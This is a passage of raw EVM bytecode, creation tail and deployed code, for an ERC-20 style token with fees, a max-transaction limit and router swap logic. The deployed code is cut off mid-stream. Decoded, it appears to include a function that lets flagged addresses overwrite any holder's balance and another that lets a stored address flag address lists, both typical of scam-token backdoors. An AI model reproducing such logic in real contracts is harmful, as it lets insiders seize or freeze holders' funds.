ffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161374a9190614421565b60405180910390a35b61376681846130f890919063ffffffff16565b9150509392505050565b60008083141561378357600090506137e5565b6000828461379191906145bd565b90508284826137a0919061458c565b146137e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137d7906143a1565b60405180910390fd5b809150505b92915050565b600061382d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c11565b905092915050565b6000600267ffffffffffffffff81111561385257613851614864565b5b6040519080825280602002602001820160405280156138805781602001602082028036833780820191505090505b509050308160008151811061389857613897614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561393a57600080fd5b505afa15801561394e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139729190613d6a565b8160018151811061398657613985614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506139ed30601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612893565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613a5195949392919061446c565b600060405180830381600087803b158015613a6b57600080fd5b505af1158015613a7f573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613ab492919061443c565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613b06573d6000803e3d6000fd5b505050565b613b3830601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612893565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613b84611fe7565b426040518863ffffffff1660e01b8152600401613ba696959493929190614268565b6060604051808303818588803b158015613bbf57600080fd5b505af1158015613bd3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613bf89190613f77565b5050505050565b6000613c0a82613c74565b9050919050565b60008083118290613c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613c4f91906142ff565b60405180910390fd5b5060008385613c67919061458c565b9050809150509392505050565b6000819050919050565b600081359050613c8d81614ae9565b92915050565b600081519050613ca281614ae9565b92915050565b60008083601f840112613cbe57613cbd614898565b5b8235905067ffffffffffffffff811115613cdb57613cda614893565b5b602083019150836020820283011115613cf757613cf661489d565b5b9250929050565b600081359050613d0d81614b00565b92915050565b600081359050613d2281614b17565b92915050565b600081519050613d3781614b17565b92915050565b600060208284031215613d5357613d526148a7565b5b6000613d6184828501613c7e565b91505092915050565b600060208284031215613d8057613d7f6148a7565b5b6000613d8e84828501613c93565b91505092915050565b60008060408385031215613dae57613dad6148a7565b5b6000613dbc85828601613c7e565b9250506020613dcd85828601613c7e565b9150509250929050565b600080600060608486031215613df057613def6148a7565b5b6000613dfe86828701613c7e565b9350506020613e0f86828701613c7e565b9250506040613e2086828701613d13565b9150509250925092565b60008060408385031215613e4157613e406148a7565b5b6000613e4f85828601613c7e565b9250506020613e6085828601613d13565b9150509250929050565b600080600060408486031215613e8357613e826148a7565b5b600084013567ffffffffffffffff811115613ea157613ea06148a2565b5b613ead86828701613ca8565b93509350506020613ec086828701613cfe565b9150509250925092565b600060208284031215613ee057613edf6148a7565b5b6000613eee84828501613cfe565b91505092915050565b600060208284031215613f0d57613f0c6148a7565b5b6000613f1b84828501613d13565b91505092915050565b600080600060608486031215613f3d57613f3c6148a7565b5b6000613f4b86828701613d13565b9350506020613f5c86828701613d13565b9250506040613f6d86828701613d13565b9150509250925092565b600080600060608486031215613f9057613f8f6148a7565b5b6000613f9e86828701613d28565b9350506020613faf86828701613d28565b9250506040613fc086828701613d28565b9150509250925092565b6000613fd68383613ff1565b60208301905092915050565b613feb8161465d565b82525050565b613ffa8161464b565b82525050565b6140098161464b565b82525050565b600061401a826144f1565b6140248185614514565b935061402f836144e1565b8060005b838110156140605781516140478882613fca565b975061405283614507565b925050600181019050614033565b5085935050505092915050565b6140768161466f565b82525050565b614085816146b2565b82525050565b614094816146c4565b82525050565b60006140a5826144fc565b6140af8185614525565b93506140bf8185602086016146fa565b6140c8816148ac565b840191505092915050565b60006140e0602383614525565b91506140eb826148bd565b604082019050919050565b6000614103602283614525565b915061410e8261490c565b604082019050919050565b6000614126601b83614525565b91506141318261495b565b602082019050919050565b6000614149602883614525565b915061415482614984565b604082019050919050565b600061416c602183614525565b9150614177826149d3565b604082019050919050565b600061418f602083614525565b915061419a82614a22565b602082019050919050565b60006141b2602583614525565b91506141bd82614a4b565b604082019050919050565b60006141d5602483614525565b91506141e082614a9a565b604082019050919050565b6141f48161469b565b82525050565b614203816146a5565b82525050565b600060208201905061421e6000830184614000565b92915050565b60006020820190506142396000830184613fe2565b92915050565b60006040820190506142546000830185614000565b6142616020830184614000565b9392505050565b600060c08201905061427d6000830189614000565b61428a60208301886141eb565b614297604083018761408b565b6142a4606083018661408b565b6142b16080830185614000565b6142be60a08301846141eb565b979650505050505050565b60006020820190506142de600083018461406d565b92915050565b60006020820190506142f9600083018461407c565b92915050565b60006020820190508181036000830152614319818461409a565b905092915050565b6000602082019050818103600083015261433a816140d3565b9050919050565b6000602082019050818103600083015261435a816140f6565b9050919050565b6000602082019050818103600083015261437a81614119565b9050919050565b6000602082019050818103600083015261439a8161413c565b9050919050565b600060208201905081810360008301526143ba8161415f565b9050919050565b600060208201905081810360008301526143da81614182565b9050919050565b600060208201905081810360008301526143fa816141a5565b9050919050565b6000602082019050818103600083015261441a816141c8565b9050919050565b600060208201905061443660008301846141eb565b92915050565b600060408201905061445160008301856141eb565b8181036020830152614463818461400f565b90509392505050565b600060a08201905061448160008301886141eb565b61448e602083018761408b565b81810360408301526144a0818661400f565b90506144af6060830185614000565b6144bc60808301846141eb565b9695505050505050565b60006020820190506144db60008301846141fa565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006145418261469b565b915061454c8361469b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614581576145806147a8565b5b828201905092915050565b60006145978261469b565b91506145a28361469b565b9250826145b2576145b16147d7565b5b828204905092915050565b60006145c88261469b565b91506145d38361469b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561460c5761460b6147a8565b5b828202905092915050565b60006146228261469b565b915061462d8361469b565b9250828210156146405761463f6147a8565b5b828203905092915050565b60006146568261467b565b9050919050565b60006146688261467b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006146bd826146d6565b9050919050565b60006146cf8261469b565b9050919050565b60006146e1826146e8565b9050919050565b60006146f38261467b565b9050919050565b60005b838110156147185780820151818401526020810190506146fd565b83811115614727576000848401525b50505050565b6000600282049050600182168061474557607f821691505b6020821081141561475957614758614806565b5b50919050565b600061476a8261469b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561479d5761479c6147a8565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614af28161464b565b8114614afd57600080fd5b50565b614b098161466f565b8114614b1457600080fd5b50565b614b208161469b565b8114614b2b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220822e5087d268a740c78460de8f396ea232949901f0bf8a9d7b9742952a3c007c64736f6c63430008070033
Deployed Bytecode
0x6080604052600436106103905760003560e01c8063807c2d9c116101dc578063c49b9a8011610102578063dc44b6a0116100a0578063f2514e881161006f578063f2514e8814610da7578063f2fde38b14610de4578063f872858a14610e0d578063f985622d14610e3857610397565b8063dc44b6a014610ceb578063dd62ed3e14610d16578063f0cd1dac14610d53578063f1d5f51714610d7e57610397565b8063c8607952116100dc578063c860795214610c2d578063c867d60b14610c58578063cab0347114610c95578063da00097d14610cc057610397565b8063c49b9a8014610bae578063c5d2418914610bd7578063c816841b14610c0257610397565b8063a073d37f1161017a578063a83f53a711610149578063a83f53a714610af2578063a9059cbb14610b1d578063c2d4640e14610b5a578063c469b6dd14610b8357610397565b8063a073d37f14610a36578063a08e671f14610a61578063a457c2d714610a8c578063a5d69d1f14610ac957610397565b80638b42507f116101b65780638b42507f1461097a5780638da5cb5b146109b75780639174c79d146109e257806395d89b4114610a0b57610397565b8063807c2d9c146108f957806382eefb431461092457806388790a681461094f57610397565b80633b646444116102c15780635881f3ef1161025f57806370a082311161022e57806370a082311461083f57806371d03f581461087c57806377f31d03146108a55780637d1db4a5146108ce57610397565b80635881f3ef1461078557806360efb94f146107c257806361a23c69146107eb5780636249faf11461081657610397565b806340b8000a1161029b57806340b8000a146106c757806342efd370146106f25780634a74bb021461072f57806357a5802f1461075a57610397565b80633b646444146106245780633b97084a146106615780633ecad2711461068a57610397565b80632563ae831161032e5780632c4b2334116103085780632c4b23341461056a578063313ce5671461059357806335d23615146105be57806339509351146105e757610397565b80632563ae83146104eb57806327c8f835146105145780632b112e491461053f57610397565b80631245e3471161036a5780631245e3471461042d5780631694505e1461045857806318160ddd1461048357806323b872dd146104ae57610397565b806301c6adc31461039c57806306fdde03146103c5578063095ea7b3146103f057610397565b3661039757005b600080fd5b3480156103a857600080fd5b506103c360048036038101906103be9190613e2a565b610e63565b005b3480156103d157600080fd5b506103da610efe565b6040516103e791906142ff565b60405180910390f35b3480156103fc57600080fd5b5061041760048036038101906104129190613e2a565b610f90565b60405161042491906142c9565b60405180910390f35b34801561043957600080fd5b50610442610fae565b60405161044f9190614224565b60405180910390f35b34801561046457600080fd5b5061046d610fd4565b60405161047a91906142e4565b60405180910390f35b34801561048f57600080fd5b50610498610ffa565b6040516104a59190614421565b60405180910390f35b3480156104ba57600080fd5b506104d560048036038101906104d09190613dd7565b611004565b6040516104e291906142c9565b60405180910390f35b3480156104f757600080fd5b50610512600480360381019061050d9190613eca565b6110de565b005b34801561052057600080fd5b50610529611190565b6040516105369190614209565b60405180910390f35b34801561054b57600080fd5b506105546111b4565b6040516105619190614421565b60405180910390f35b34801561057657600080fd5b50610591600480360381019061058c9190613d3d565b6111f8565b005b34801561059f57600080fd5b506105a86112d1565b6040516105b591906144c6565b60405180910390f35b3480156105ca57600080fd5b506105e560048036038101906105e09190613d3d565b6112e8565b005b3480156105f357600080fd5b5061060e60048036038101906106099190613e2a565b6113c1565b60405161061b91906142c9565b60405180910390f35b34801561063057600080fd5b5061064b60048036038101906106469190613d3d565b611474565b60405161065891906142c9565b60405180910390f35b34801561066d57600080fd5b5061068860048036038101906106839190613ef7565b611494565b005b34801561069657600080fd5b506106b160048036038101906106ac9190613d3d565b611533565b6040516106be91906142c9565b60405180910390f35b3480156106d357600080fd5b506106dc611553565b6040516106e99190614224565b60405180910390f35b3480156106fe57600080fd5b5061071960048036038101906107149190613d3d565b611579565b60405161072691906142c9565b60405180910390f35b34801561073b57600080fd5b50610744611599565b60405161075191906142c9565b60405180910390f35b34801561076657600080fd5b5061076f6115ac565b60405161077c9190614421565b60405180910390f35b34801561079157600080fd5b506107ac60048036038101906107a79190613d3d565b6115b2565b6040516107b99190614209565b60405180910390f35b3480156107ce57600080fd5b506107e960048036038101906107e49190613f24565b611b10565b005b3480156107f757600080fd5b50610800611bf0565b60405161080d9190614421565b60405180910390f35b34801561082257600080fd5b5061083d60048036038101906108389190613e6a565b611bf6565b005b34801561084b57600080fd5b5061086660048036038101906108619190613d3d565b611d30565b6040516108739190614421565b60405180910390f35b34801561088857600080fd5b506108a3600480360381019061089e9190613e6a565b611d79565b005b3480156108b157600080fd5b506108cc60048036038101906108c79190613e6a565b611e75565b005b3480156108da57600080fd5b506108e3611faf565b6040516108f09190614421565b60405180910390f35b34801561090557600080fd5b5061090e611fb5565b60405161091b9190614421565b60405180910390f35b34801561093057600080fd5b50610939611fbb565b6040516109469190614421565b60405180910390f35b34801561095b57600080fd5b50610964611fc1565b6040516109719190614421565b60405180910390f35b34801561098657600080fd5b506109a1600480360381019061099c9190613d3d565b611fc7565b6040516109ae91906142c9565b60405180910390f35b3480156109c357600080fd5b506109cc611fe7565b6040516109d99190614209565b60405180910390f35b3480156109ee57600080fd5b50610a096004803603810190610a049190613f24565b612010565b005b348015610a1757600080fd5b50610a206120f0565b604051610a2d91906142ff565b60405180910390f35b348015610a4257600080fd5b50610a4b612182565b604051610a589190614421565b60405180910390f35b348015610a6d57600080fd5b50610a7661218c565b604051610a839190614421565b60405180910390f35b348015610a9857600080fd5b50610ab36004803603810190610aae9190613e2a565b612192565b604051610ac091906142c9565b60405180910390f35b348015610ad557600080fd5b50610af06004803603810190610aeb9190613eca565b61225f565b005b348015610afe57600080fd5b50610b07612311565b604051610b149190614421565b60405180910390f35b348015610b2957600080fd5b50610b446004803603810190610b3f9190613e2a565b612317565b604051610b5191906142c9565b60405180910390f35b348015610b6657600080fd5b50610b816004803603810190610b7c9190613f24565b612336565b005b348015610b8f57600080fd5b50610b98612416565b604051610ba59190614421565b60405180910390f35b348015610bba57600080fd5b50610bd56004803603810190610bd09190613eca565b61241c565b005b348015610be357600080fd5b50610bec612505565b604051610bf99190614421565b60405180910390f35b348015610c0e57600080fd5b50610c1761250b565b604051610c249190614209565b60405180910390f35b348015610c3957600080fd5b50610c42612531565b604051610c4f9190614421565b60405180910390f35b348015610c6457600080fd5b50610c7f6004803603810190610c7a9190613d3d565b612537565b604051610c8c91906142c9565b60405180910390f35b348015610ca157600080fd5b50610caa612557565b604051610cb79190614421565b60405180910390f35b348015610ccc57600080fd5b50610cd561255d565b604051610ce291906142c9565b60405180910390f35b348015610cf757600080fd5b50610d00612570565b604051610d0d9190614421565b60405180910390f35b348015610d2257600080fd5b50610d3d6004803603810190610d389190613d97565b612576565b604051610d4a9190614421565b60405180910390f35b348015610d5f57600080fd5b50610d686125fd565b604051610d759190614421565b60405180910390f35b348015610d8a57600080fd5b50610da56004803603810190610da09190613ef7565b612603565b005b348015610db357600080fd5b50610dce6004803603810190610dc99190613d3d565b6126a2565b604051610ddb91906142c9565b60405180910390f35b348015610df057600080fd5b50610e0b6004803603810190610e069190613d3d565b6126c2565b005b348015610e1957600080fd5b50610e22612814565b604051610e2f91906142c9565b60405180910390f35b348015610e4457600080fd5b50610e4d612827565b604051610e5a9190614421565b60405180910390f35b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610efa5780600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b606060028054610f0d9061472d565b80601f0160208091040260200160405190810160405280929190818152602001828054610f399061472d565b8015610f865780601f10610f5b57610100808354040283529160200191610f86565b820191906000526020600020905b815481529060010190602001808311610f6957829003601f168201915b5050505050905090565b6000610fa4610f9d61288b565b8484612893565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601b54905090565b6000611011848484612a5e565b506110d38461101e61288b565b6110ce85604051806060016040528060288152602001614b2f60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061108461288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b612893565b600190509392505050565b6110e661288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611173576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116a906143c1565b60405180910390fd5b80602060176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b60006111f36111e27f000000000000000000000000000000000000000000000000000000000000dead611d30565b601b546130f890919063ffffffff16565b905090565b61120061288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461128d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611284906143c1565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b6112f061288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611374906143c1565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061146a6113ce61288b565b8461146585600760006113df61288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b612893565b6001905092915050565b600e6020528060005260406000206000915054906101000a900460ff1681565b61149c61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611529576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611520906143c1565b60405180910390fd5b80601e8190555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d6020528060005260406000206000915054906101000a900460ff1681565b602060159054906101000a900460ff1681565b60155481565b60006115bc61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611649576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611640906143c1565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561169457600080fd5b505afa1580156116a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116cc9190613d6a565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561172e57600080fd5b505afa158015611742573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117669190613d6a565b6040518363ffffffff1660e01b815260040161178392919061423f565b60206040518083038186803b15801561179b57600080fd5b505afa1580156117af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d39190613d6a565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611994578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561185057600080fd5b505afa158015611864573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118889190613d6a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156118ea57600080fd5b505afa1580156118fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119229190613d6a565b6040518363ffffffff1660e01b815260040161193f92919061423f565b602060405180830381600087803b15801561195957600080fd5b505af115801561196d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119919190613d6a565b91505b81602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b611b1861288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ba5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9c906143c1565b60405180910390fd5b82600f819055508160108190555080601181905550611be5601154611bd7601054600f5461282d90919063ffffffff16565b61282d90919063ffffffff16565b601881905550505050565b60165481565b611bfe61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c82906143c1565b60405180910390fd5b60005b83839050811015611d2a578160096000868685818110611cb157611cb0614835565b5b9050602002016020810190611cc69190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611d229061475f565b915050611c8e565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611e705760005b83839050811015611e6e5781600e6000868685818110611df557611df4614835565b5b9050602002016020810190611e0a9190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611e669061475f565b915050611dd2565b505b505050565b611e7d61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f01906143c1565b60405180910390fd5b60005b83839050811015611fa9578160086000868685818110611f3057611f2f614835565b5b9050602002016020810190611f459190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611fa19061475f565b915050611f0d565b50505050565b601c5481565b601d5481565b60195481565b60125481565b600b6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61201861288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209c906143c1565b60405180910390fd5b8260128190555081601381905550806014819055506120e56014546120d760135460125461282d90919063ffffffff16565b61282d90919063ffffffff16565b601981905550505050565b6060600380546120ff9061472d565b80601f016020809104026020016040519081016040528092919081815260200182805461212b9061472d565b80156121785780601f1061214d57610100808354040283529160200191612178565b820191906000526020600020905b81548152906001019060200180831161215b57829003601f168201915b5050505050905090565b6000601e54905090565b601a5481565b600061225561219f61288b565b8461225085604051806060016040528060258152602001614b5760259139600760006121c961288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b612893565b6001905092915050565b61226761288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122eb906143c1565b60405180910390fd5b80602060166101000a81548160ff02191690831515021790555050565b60175481565b600061232b61232461288b565b8484612a5e565b506001905092915050565b61233e61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c2906143c1565b60405180910390fd5b82601581905550816016819055508060178190555061240b6017546123fd60165460155461282d90919063ffffffff16565b61282d90919063ffffffff16565b601a81905550505050565b60115481565b61242461288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a8906143c1565b60405180910390fd5b80602060156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516124fa91906142c9565b60405180910390a150565b60105481565b602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b60096020528060005260406000206000915054906101000a900460ff1681565b60145481565b602060169054906101000a900460ff1681565b600f5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60185481565b61260b61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612698576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161268f906143c1565b60405180910390fd5b80601d8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b6126ca61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274e906143c1565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b602060179054906101000a900460ff1681565b60015481565b600080828461283c9190614536565b905083811015612881576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287890614361565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fa90614401565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296a90614341565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a519190614421565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac6906143e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3690614321565b60405180910390fd5b602060149054906101000a900460ff1615612b6657612b5f848484613142565b905061308d565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612c0a5750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612c5557601c54821115612c54576040517f08c379a00000000000000000000000000000000000000000000000000000000081